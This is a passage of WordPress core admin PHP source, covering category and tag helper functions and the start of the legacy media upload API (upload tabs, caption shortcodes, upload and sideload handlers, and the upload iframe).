		|| ( $catarr['cat_ID'] && term_is_ancestor_of( $catarr['cat_ID'], $parent, $catarr['taxonomy'] ) ) ) {
		$parent = 0;
	}

	$args = compact( 'name', 'slug', 'parent', 'description' );

	if ( $update ) {
		$catarr['cat_ID'] = wp_update_term( $catarr['cat_ID'], $catarr['taxonomy'], $args );
	} else {
		$catarr['cat_ID'] = wp_insert_term( $catarr['cat_name'], $catarr['taxonomy'], $args );
	}

	if ( is_wp_error( $catarr['cat_ID'] ) ) {
		if ( $wp_error ) {
			return $catarr['cat_ID'];
		} else {
			return 0;
		}
	}
	return $catarr['cat_ID']['term_id'];
}

/**
 * Aliases wp_insert_category() with minimal args.
 *
 * If you want to update only some fields of an existing category, call this
 * function with only the new values set inside $catarr.
 *
 * @since 2.0.0
 *
 * @param array $catarr The 'cat_ID' value is required. All other keys are optional.
 * @return int|false The ID number of the new or updated Category on success. Zero or FALSE on failure.
 */
function wp_update_category( $catarr ) {
	$cat_id = (int) $catarr['cat_ID'];

	if ( isset( $catarr['category_parent'] ) && ( $cat_id === (int) $catarr['category_parent'] ) ) {
		return false;
	}

	// First, get all of the original fields.
	$category = get_term( $cat_id, 'category', ARRAY_A );
	_make_cat_compat( $category );

	// Escape data pulled from DB.
	$category = wp_slash( $category );

	// Merge old and new fields with new fields overwriting old ones.
	$catarr = array_merge( $category, $catarr );

	return wp_insert_category( $catarr );
}

//
// Tags.
//

/**
 * Checks whether a post tag with a given name exists.
 *
 * @since 2.3.0
 *
 * @param int|string $tag_name
 * @return mixed Returns null if the term does not exist.
 *               Returns an array of the term ID and the term taxonomy ID if the pairing exists.
 *               Returns 0 if term ID 0 is passed to the function.
 */
function tag_exists( $tag_name ) {
	return term_exists( $tag_name, 'post_tag' );
}

/**
 * Adds a new tag to the database if it does not already exist.
 *
 * @since 2.3.0
 *
 * @param int|string $tag_name
 * @return array|WP_Error
 */
function wp_create_tag( $tag_name ) {
	return wp_create_term( $tag_name, 'post_tag' );
}

/**
 * Gets comma-separated list of tags available to edit.
 *
 * @since 2.3.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|false|WP_Error
 */
function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) {
	return get_terms_to_edit( $post_id, $taxonomy );
}

/**
 * Gets comma-separated list of terms available to edit for the given post ID.
 *
 * @since 2.8.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|false|WP_Error
 */
function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) {
	$post_id = (int) $post_id;
	if ( ! $post_id ) {
		return false;
	}

	$terms = get_object_term_cache( $post_id, $taxonomy );
	if ( false === $terms ) {
		$terms = wp_get_object_terms( $post_id, $taxonomy );
		wp_cache_add( $post_id, wp_list_pluck( $terms, 'term_id' ), $taxonomy . '_relationships' );
	}

	if ( ! $terms ) {
		return false;
	}
	if ( is_wp_error( $terms ) ) {
		return $terms;
	}
	$term_names = array();
	foreach ( $terms as $term ) {
		$term_names[] = $term->name;
	}

	$terms_to_edit = esc_attr( implode( ',', $term_names ) );

	/**
	 * Filters the comma-separated list of terms available to edit.
	 *
	 * @since 2.8.0
	 *
	 * @see get_terms_to_edit()
	 *
	 * @param string $terms_to_edit A comma-separated list of term names.
	 * @param string $taxonomy      The taxonomy name for which to retrieve terms.
	 */
	$terms_to_edit = apply_filters( 'terms_to_edit', $terms_to_edit, $taxonomy );

	return $terms_to_edit;
}

/**
 * Adds a new term to the database if it does not already exist.
 *
 * @since 2.8.0
 *
 * @param string $tag_name The term name.
 * @param string $taxonomy Optional. The taxonomy within which to create the term. Default 'post_tag'.
 * @return array|WP_Error
 */
function wp_create_term( $tag_name, $taxonomy = 'post_tag' ) {
	$id = term_exists( $tag_name, $taxonomy );
	if ( $id ) {
		return $id;
	}

	return wp_insert_term( $tag_name, $taxonomy );
}
<?php
/**
 * WordPress Administration Media API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Defines the default media upload tabs.
 *
 * @since 2.5.0
 *
 * @return string[] Default tabs.
 */
function media_upload_tabs() {
	$_default_tabs = array(
		'type'     => __( 'From Computer' ), // Handler action suffix => tab text.
		'type_url' => __( 'From URL' ),
		'gallery'  => __( 'Gallery' ),
		'library'  => __( 'Media Library' ),
	);

	/**
	 * Filters the available tabs in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $_default_tabs An array of media tabs.
	 */
	return apply_filters( 'media_upload_tabs', $_default_tabs );
}

/**
 * Adds the gallery tab back to the tabs array if post has image attachments.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $tabs
 * @return array $tabs with gallery if post has image attachment
 */
function update_gallery_tab( $tabs ) {
	global $wpdb;

	if ( ! isset( $_REQUEST['post_id'] ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

	$post_id = (int) $_REQUEST['post_id'];

	if ( $post_id ) {
		$attachments = (int) $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) );
	}

	if ( empty( $attachments ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

	/* translators: %s: Number of attachments. */
	$tabs['gallery'] = sprintf( __( 'Gallery (%s)' ), "<span id='attachments-count'>$attachments</span>" );

	return $tabs;
}

/**
 * Outputs the legacy media upload tabs UI.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 */
function the_media_upload_tabs() {
	global $redir_tab;
	$tabs    = media_upload_tabs();
	$default = 'type';

	if ( ! empty( $tabs ) ) {
		echo "<ul id='sidemenu'>\n";

		if ( isset( $redir_tab ) && array_key_exists( $redir_tab, $tabs ) ) {
			$current = $redir_tab;
		} elseif ( isset( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $tabs ) ) {
			$current = $_GET['tab'];
		} else {
			/** This filter is documented in wp-admin/media-upload.php */
			$current = apply_filters( 'media_upload_default_tab', $default );
		}

		foreach ( $tabs as $callback => $text ) {
			$class = '';

			if ( $current == $callback ) {
				$class = " class='current'";
			}

			$href = add_query_arg(
				array(
					'tab'            => $callback,
					's'              => false,
					'paged'          => false,
					'post_mime_type' => false,
					'm'              => false,
				)
			);
			$link = "<a href='" . esc_url( $href ) . "'$class>$text</a>";
			echo "\t<li id='" . esc_attr( "tab-$callback" ) . "'>$link</li>\n";
		}

		echo "</ul>\n";
	}
}

/**
 * Retrieves the image HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param int          $id      Image attachment ID.
 * @param string       $caption Image caption.
 * @param string       $title   Image title attribute.
 * @param string       $align   Image CSS alignment property.
 * @param string       $url     Optional. Image src URL. Default empty.
 * @param bool|string  $rel     Optional. Value for rel attribute or whether to add a default value. Default false.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array of
 *                              width and height values in pixels (in that order). Default 'medium'.
 * @param string       $alt     Optional. Image alt attribute. Default empty.
 * @return string The HTML output to insert into the editor.
 */
function get_image_send_to_editor( $id, $caption, $title, $align, $url = '', $rel = false, $size = 'medium', $alt = '' ) {

	$html = get_image_tag( $id, $alt, '', $align, $size );

	if ( $rel ) {
		if ( is_string( $rel ) ) {
			$rel = ' rel="' . esc_attr( $rel ) . '"';
		} else {
			$rel = ' rel="attachment wp-att-' . (int) $id . '"';
		}
	} else {
		$rel = '';
	}

	if ( $url ) {
		$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
	}

	/**
	 * Filters the image HTML markup to send to the editor when inserting an image.
	 *
	 * @since 2.5.0
	 * @since 5.6.0 The `$rel` parameter was added.
	 *
	 * @param string       $html    The image HTML markup to send.
	 * @param int          $id      The attachment ID.
	 * @param string       $caption The image caption.
	 * @param string       $title   The image title.
	 * @param string       $align   The image alignment.
	 * @param string       $url     The image source URL.
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param string       $alt     The image alternative, or alt, text.
	 * @param string       $rel     The image rel attribute.
	 */
	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt, $rel );

	return $html;
}

/**
 * Adds image shortcode with caption to editor.
 *
 * @since 2.6.0
 *
 * @param string  $html    The image HTML markup to send.
 * @param int     $id      Image attachment ID.
 * @param string  $caption Image caption.
 * @param string  $title   Image title attribute (not used).
 * @param string  $align   Image CSS alignment property.
 * @param string  $url     Image source URL (not used).
 * @param string  $size    Image size (not used).
 * @param string  $alt     Image `alt` attribute (not used).
 * @return string The image HTML markup with caption shortcode.
 */
function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {

	/**
	 * Filters the caption text.
	 *
	 * Note: If the caption text is empty, the caption shortcode will not be appended
	 * to the image HTML when inserted into the editor.
	 *
	 * Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
	 * Filters from being evaluated at the end of image_add_caption().
	 *
	 * @since 4.1.0
	 *
	 * @param string $caption The original caption text.
	 * @param int    $id      The attachment ID.
	 */
	$caption = apply_filters( 'image_add_caption_text', $caption, $id );

	/**
	 * Filters whether to disable captions.
	 *
	 * Prevents image captions from being appended to image HTML when inserted into the editor.
	 *
	 * @since 2.6.0
	 *
	 * @param bool $bool Whether to disable appending captions. Returning true from the filter
	 *                   will disable captions. Default empty string.
	 */
	if ( empty( $caption ) || apply_filters( 'disable_captions', '' ) ) {
		return $html;
	}

	$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';

	if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) ) {
		return $html;
	}

	$width = $matches[1];

	$caption = str_replace( array( "\r\n", "\r" ), "\n", $caption );
	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );

	// Convert any remaining line breaks to <br />.
	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );

	$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
	if ( empty( $align ) ) {
		$align = 'none';
	}

	$shcode = '[caption id="' . $id . '" align="align' . $align . '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';

	/**
	 * Filters the image HTML markup including the caption shortcode.
	 *
	 * @since 2.6.0
	 *
	 * @param string $shcode The image HTML markup with caption shortcode.
	 * @param string $html   The image HTML markup.
	 */
	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
}

/**
 * Private preg_replace callback used in image_add_caption().
 *
 * @access private
 * @since 3.4.0
 *
 * @param array $matches Single regex match.
 * @return string Cleaned up HTML for caption.
 */
function _cleanup_image_add_caption( $matches ) {
	// Remove any line breaks from inside the tags.
	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
}

/**
 * Adds image HTML to editor.
 *
 * @since 2.5.0
 *
 * @param string $html
 */
function media_send_to_editor( $html ) {
	?>
	<script type="text/javascript">
	var win = window.dialogArguments || opener || parent || top;
	win.send_to_editor( <?php echo wp_json_encode( $html ); ?> );
	</script>
	<?php
	exit;
}

/**
 * Saves a file submitted from a POST request and create an attachment post for it.
 *
 * @since 2.5.0
 *
 * @param string $file_id   Index of the `$_FILES` array that the file was sent.
 * @param int    $post_id   The post ID of a post to attach the media item to. Required, but can
 *                          be set to 0, creating a media item that has no relationship to a post.
 * @param array  $post_data Optional. Overwrite some of the attachment.
 * @param array  $overrides Optional. Override the wp_handle_upload() behavior.
 * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
 */
function media_handle_upload( $file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false ) ) {
	$time = current_time( 'mysql' );
	$post = get_post( $post_id );

	if ( $post ) {
		// The post date doesn't usually matter for pages, so don't backdate this upload.
		if ( 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		}
	}

	$file = wp_handle_upload( $_FILES[ $file_id ], $overrides, $time );

	if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

	$name = $_FILES[ $file_id ]['name'];
	$ext  = pathinfo( $name, PATHINFO_EXTENSION );
	$name = wp_basename( $name, ".$ext" );

	$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = sanitize_text_field( $name );
	$content = '';
	$excerpt = '';

	if ( preg_match( '#^audio#', $type ) ) {
		$meta = wp_read_audio_metadata( $file );

		if ( ! empty( $meta['title'] ) ) {
			$title = $meta['title'];
		}

		if ( ! empty( $title ) ) {

			if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Album title, 3: Artist name. */
				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
			} elseif ( ! empty( $meta['album'] ) ) {
				/* translators: 1: Audio track title, 2: Album title. */
				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
			} elseif ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Artist name. */
				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
			} else {
				/* translators: %s: Audio track title. */
				$content .= sprintf( __( '"%s".' ), $title );
			}
		} elseif ( ! empty( $meta['album'] ) ) {

			if ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio album title, 2: Artist name. */
				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
			} else {
				$content .= $meta['album'] . '.';
			}
		} elseif ( ! empty( $meta['artist'] ) ) {

			$content .= $meta['artist'] . '.';

		}

		if ( ! empty( $meta['year'] ) ) {
			/* translators: Audio file track information. %d: Year of audio track release. */
			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
		}

		if ( ! empty( $meta['track_number'] ) ) {
			$track_number = explode( '/', $meta['track_number'] );

			if ( is_numeric( $track_number[0] ) ) {
				if ( isset( $track_number[1] ) && is_numeric( $track_number[1] ) ) {
					$content .= ' ' . sprintf(
						/* translators: Audio file track information. 1: Audio track number, 2: Total audio tracks. */
						__( 'Track %1$s of %2$s.' ),
						number_format_i18n( $track_number[0] ),
						number_format_i18n( $track_number[1] )
					);
				} else {
					$content .= ' ' . sprintf(
						/* translators: Audio file track information. %s: Audio track number. */
						__( 'Track %s.' ),
						number_format_i18n( $track_number[0] )
					);
				}
			}
		}

		if ( ! empty( $meta['genre'] ) ) {
			/* translators: Audio file genre information. %s: Audio genre name. */
			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
		}

		// Use image exif/iptc data for title and caption defaults if possible.
	} elseif ( str_starts_with( $type, 'image/' ) ) {
		$image_meta = wp_read_image_metadata( $file );

		if ( $image_meta ) {
			if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$title = $image_meta['title'];
			}

			if ( trim( $image_meta['caption'] ) ) {
				$excerpt = $image_meta['caption'];
			}
		}
	}

	// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
			'post_excerpt'   => $excerpt,
		),
		$post_data
	);

	// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

	// Save the data.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

	if ( ! is_wp_error( $attachment_id ) ) {
		/*
		 * Set a custom header with the attachment_id.
		 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
		 */
		if ( ! headers_sent() ) {
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		/*
		 * The image sub-sizes are created during wp_generate_attachment_metadata().
		 * This is generally slow and may cause timeouts or out of memory errors.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

	return $attachment_id;
}

/**
 * Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload().
 *
 * @since 2.6.0
 * @since 5.3.0 The `$post_id` parameter was made optional.
 *
 * @param string[] $file_array Array that represents a `$_FILES` upload array.
 * @param int      $post_id    Optional. The post ID the media is associated with.
 * @param string   $desc       Optional. Description of the side-loaded file. Default null.
 * @param array    $post_data  Optional. Post data to override. Default empty array.
 * @return int|WP_Error The ID of the attachment or a WP_Error on failure.
 */
function media_handle_sideload( $file_array, $post_id = 0, $desc = null, $post_data = array() ) {
	$overrides = array( 'test_form' => false );

	if ( isset( $post_data['post_date'] ) && substr( $post_data['post_date'], 0, 4 ) > 0 ) {
		$time = $post_data['post_date'];
	} else {
		$post = get_post( $post_id );
		if ( $post && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		} else {
			$time = current_time( 'mysql' );
		}
	}

	$file = wp_handle_sideload( $file_array, $overrides, $time );

	if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

	$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
	$content = '';

	// Use image exif/iptc data for title and caption defaults if possible.
	$image_meta = wp_read_image_metadata( $file );

	if ( $image_meta ) {
		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
			$title = $image_meta['title'];
		}

		if ( trim( $image_meta['caption'] ) ) {
			$content = $image_meta['caption'];
		}
	}

	if ( isset( $desc ) ) {
		$title = $desc;
	}

	// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
		),
		$post_data
	);

	// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

	// Save the attachment metadata.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

	if ( ! is_wp_error( $attachment_id ) ) {
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

	return $attachment_id;
}

/**
 * Outputs the iframe to display the media upload page.
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global string $body_id
 *
 * @param callable $content_func Function that outputs the content.
 * @param mixed    ...$args      Optional additional parameters to pass to the callback function when it's called.
 */
function wp_iframe( $content_func, ...$args ) {
	global $body_id;

	_wp_admin_html_begin();
	?>
	<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php _e( 'Uploads' ); ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php

	wp_enqueue_style( 'colors' );
	// Check callback name for 'media'.
	if (
		( is_array( $content_func ) && ! empty( $content_func[1] ) && str_starts_with( (string) $content_func[1], 'media' ) ) ||
		( ! is_array( $content_func ) && str_starts_with( $content_func, 'media' ) )
	) {
		wp_enqueue_style( 'deprecated-media' );
	}

	?>
	<script type="text/javascript">
	addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
	var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
	isRtl = <?php echo (int) is_rtl(); ?>;
	</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );

	/**
	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_styles-media-upload-popup' );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

	/**
	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_scripts-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

	/**
	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
	 * media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_head-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

	if ( is_string( $content_func ) ) {
		/**
		 * Fires in the admin header for each specific form tab in the legacy
		 * (pre-3.5.0) media upload popup.
		 *
		 * The dynamic portion of the hook name, `$content_func`, refers to the form
		 * callback for the media upload type.
		 *
		 * @since 2.5.0
		 */
		do_action( "admin_head_{$content_func}" );
	}

	$body_id_attr = '';

	if ( isset( $body_id ) ) {
		$body_id_attr = ' id="' . $body_id . '"';
	}

	?>
	</head>
	<body<?php echo $body_id_attr; ?> class="wp-core-ui no-js">
	<script type="text/javascript">
	document.body.className = document.body.className.replace('no-js', 'js');
	</script>
	<?php

	call_user_func_array( $content_func, $args );

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );

	?>
	<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
	</body>
	</html>
	<?php
}

/**
 * Adds the media button to the editor.
 *
 * @since 2.5.0
 *
 * @global int $post_ID
 *
 * @param string $editor_id
 */
function media_buttons( $editor_id = 'content' ) {
	static $instance = 0;
	++$instance;

	$post = get_post();

	if ( ! $post && ! empty( $GLOBALS['post_ID'] ) ) {
		$post = $GLOBALS['post_ID'];
	}

	wp_enqueue_media( array( 'post' => $post ) );

	$img = '<span class="wp-media-buttons-icon"></span> ';

	$id_attribute = 1 === $instance ? ' id="insert-media-button"' : '';

	printf(
		'<button type="button"%s class="button insert-media add_media" data-editor="%s">%s</button>',
		$id_attribute,
		esc_attr( $editor_id ),
		$img . __( 'Add Media' )
	);

	/**
	 * Filters the legacy (pre-3.5.0) media buttons.
	 *
	 * Use {@see 'media_buttons'} action instead.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use {@see 'media_buttons'} action instead.
	 *
	 * @param string $string Media buttons context. Default empty.
	 */
	$legacy_filter = apply_filters_deprecated( 'media_buttons_context', array( '' ), '3.5.0', 'media_buttons' );

	if ( $legacy_filter ) {
		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) ) {
			$legacy_filter .= '</a>';
		}
		echo $legacy_filter;
	}
}

/**
 * Retrieves the upload iframe source URL.
 *
 * @since 3.0.0
 *
 * @global int $post_ID
 *
 * @param string $type    Media type.
 * @param int    $post_id Post ID.
 * @param string $tab     Media upload tab.
 * @return string Upload iframe source URL.
 */
function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
	global $post_ID;

	if ( empty( $post_id ) ) {
		$post_id = $post_ID;
	}

	$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url( 'media-upload.php' ) );

	if ( $type && 'media' !== $type ) {
		$upload_iframe_src = add_query_arg( 'type', $type, $upload_iframe_src );
	}

	if ( ! empty( $tab ) ) {
		$upload_iframe_src = add_query_arg( 'tab', $tab, $upload_iframe_src );
	}

	/**
	 * Filters the upload iframe source URL for a specific media type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the type
	 * of media uploaded.
	 *
	 * Possible hook names include:
	 *
	 *  - `image_upload_iframe_src`
	 *  - `media_upload_iframe_src`
	 *
	 * @since 3.0.0
	 *
	 * @param string $upload_iframe_src The upload iframe source URL.
	 */
	$upload_iframe_src = apply_filters( "{$type}_upload_iframe_src", $upload_iframe_src );

	return add_query_arg( 'TB_iframe', true, $upload_iframe_src );
}

/**
 * Handles form submissions for the legacy media uploader.
 *
 * @since 2.5.0
 *
 * @return null|array|void Array of error messages keyed by attachment ID, null or void on success.
 */
function media_upload_form_handler() {
	check_admin_referer( 'media-form' );

	$errors = null;

	if ( isset( $_POST['send'] ) ) {
		$keys    = array_keys( $_POST['send'] );
		$send_id = (int) reset( $keys );
	}

	if ( ! empty( $_POST['attachments'] ) ) {
		foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
			$post  = get_post( $attachment_id, ARRAY_A );
			$_post = $post;

			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
				continue;
			}

			if ( isset( $attachment['post_content'] ) ) {
				$post['post_content'] = $attachment['post_content'];
			}

			if ( isset( $attachment['post_title'] ) ) {
				$post['post_title'] = $attachment['post_title'];
			}

			if ( isset( $attachment['post_excerpt'] ) ) {
				$post['post_excerpt'] = $attachment['post_excerpt'];
			}

			if ( isset( $attachment['menu_order'] ) ) {
				$post['menu_order'] = $attachment['menu_order'];
			}

			if ( isset( $send_id ) && $attachment_id == $send_id ) {
				if ( isset( $attachment['post_parent'] ) ) {
					$post['post_parent'] = $attachment['post_parent'];
				}
			}

			/**
			 * Filters the attachment fields to be saved.
			 *
			 * @since 2.5.0
			 *
			 * @see wp_get_attachment_metadata()
			 *
			 * @param array $post       An array of post data.
			 * @param array $attachment An array of attachment metadata.
			 */
			$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );

			if ( isset( $attachment['image_alt'] ) ) {
				$image_alt = wp_unslash( $attachment['image_alt'] );

				if ( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
					$image_alt = wp_strip_all_tags( $image_alt, true );

					// update_post_meta() expects slashed.
					update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
				}
			}

			if ( isset( $post['errors'] ) ) {
				$errors[ $attachment_id ] = $post['errors'];
				unset( $post['errors'] );
			}

			if ( $post != $_post ) {
				wp_update_post( $post );
			}

			foreach ( get_attachment_taxonomies( $post ) as $t ) {
				if ( isset( $attachment[ $t ] ) ) {
					wp_set_object_terms( $attachment_id, array_map( 'trim', preg_split( '/,+/', $attachment[ $t ] ) ), $t, false );
				}
			}
		}
	}

	if ( isset( $_POST['insert-gallery'] ) || isset( $_POST['update-gallery'] ) ) {
		?>
		<script type="text/javascript">
		var win = window.dialogArguments || opener || parent || top;
		win.tb_remove();
		</script>
		<?php

		exit;
	}

	if ( isset( $send_id ) ) {
		$attachment = wp_unslash( $_POST['attachments'][ $send_id ] );
		$html       = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';

		if ( ! empty( $attachment['url'] ) ) {
			$rel = '';

			if ( str_contains( $attachment['url'], 'attachment_id' ) || get_attachment_link( $send_id ) === $attachment['url'] ) {
				$rel = " rel='attachment wp-att-" . esc_attr( $send_id ) . "'";
			}

			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
		}

		/**
		 * Filters the HTML markup for a media item sent to the editor.
		 *
		 * @since 2.5.0
		 *
		 * @see wp_get_attachment_metadata()
		 *
		 * @param string $html       HTML markup for a media item sent to the editor.
		 * @param int    $send_id    The first key from the $_POST['send'] data.
		 * @param array  $attachment Array of attachment metadata.
		 */
		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );

		return media_send_to_editor( $html );
	}

	return $errors;
}

/**
 * Handles the process of uploading media.
 *
 * @since 2.5.0
 *
 * @return null|string
 */
function wp_media_upload_handler() {
	$errors = array();
	$id     = 0;

	if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
		check_admin_referer( 'media-form' );
		// Upload File button was clicked.
		$id = media_handle_upload( 'async-upload', $_REQUEST['post_id'] );
		unset( $_FILES );

		if ( is_wp_error( $id ) ) {
			$errors['upload_error'] = $id;
			$id                     = false;
		}
	}

	if ( ! empty( $_POST['insertonlybutton'] ) ) {
		$src = $_POST['src'];

		if ( ! empty( $src ) && ! strpos( $src, '://' ) ) {
			$src = "http://$src";
		}

		if ( isset( $_POST['media_type'] ) && 'image' !== $_POST['media_type'] ) {
			$title = esc_html( wp_unslash( $_POST['title'] ) );
			if ( empty( $title ) ) {
				$title = esc_html( wp_basename( $src ) );
			}

			if ( $title && $src ) {
				$html = "<a href='" . esc_url( $src ) . "'>$title</a>";
			}

			$type = 'file';
			$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );

			if ( $ext ) {
				$ext_type = wp_ext2type( $ext );
				if ( 'audio' === $ext_type || 'video' === $ext_type ) {
					$type = $ext_type;
				}
			}

			/**
			 * Filters the URL sent to the editor for a specific media type.
			 *
			 * The dynamic portion of the hook name, `$type`, refers to the type
			 * of media being sent.
			 *
			 * Possible hook names include:
			 *
			 *  - `audio_send_to_editor_url`
			 *  - `file_send_to_editor_url`
			 *  - `video_send_to_editor_url`
			 *
			 * @since 3.3.0
			 *
			 * @param string $html  HTML markup sent to the editor.
			 * @param string $src   Media source URL.
			 * @param string $title Media title.
			 */
			$html = apply_filters( "{$type}_send_to_editor_url", $html, sanitize_url( $src ), $title );
		} else {
			$align = '';
			$alt   = esc_attr( wp_unslash( $_POST['alt'] ) );

			if ( isset( $_POST['align'] ) ) {
				$align = esc_attr( wp_unslash( $_POST['align'] ) );
				$class = " class='align$align'";
			}

			if ( ! empty( $src ) ) {
				$html = "<img src='" . esc_url( $src ) . "' alt='$alt'$class />";
			}

			/**
			 * Filters the image URL sent to the editor.
			 *
			 * @since 2.8.0
			 *
			 * @param string $html  HTML markup sent to the editor for an image.
			 * @param string $src   Image source URL.
			 * @param string $alt   Image alternate, or alt, text.
			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
			 */
			$html = apply_filters( 'image_send_to_editor_url', $html, sanitize_url( $src ), $alt, $align );
		}

		return media_send_to_editor( $html );
	}

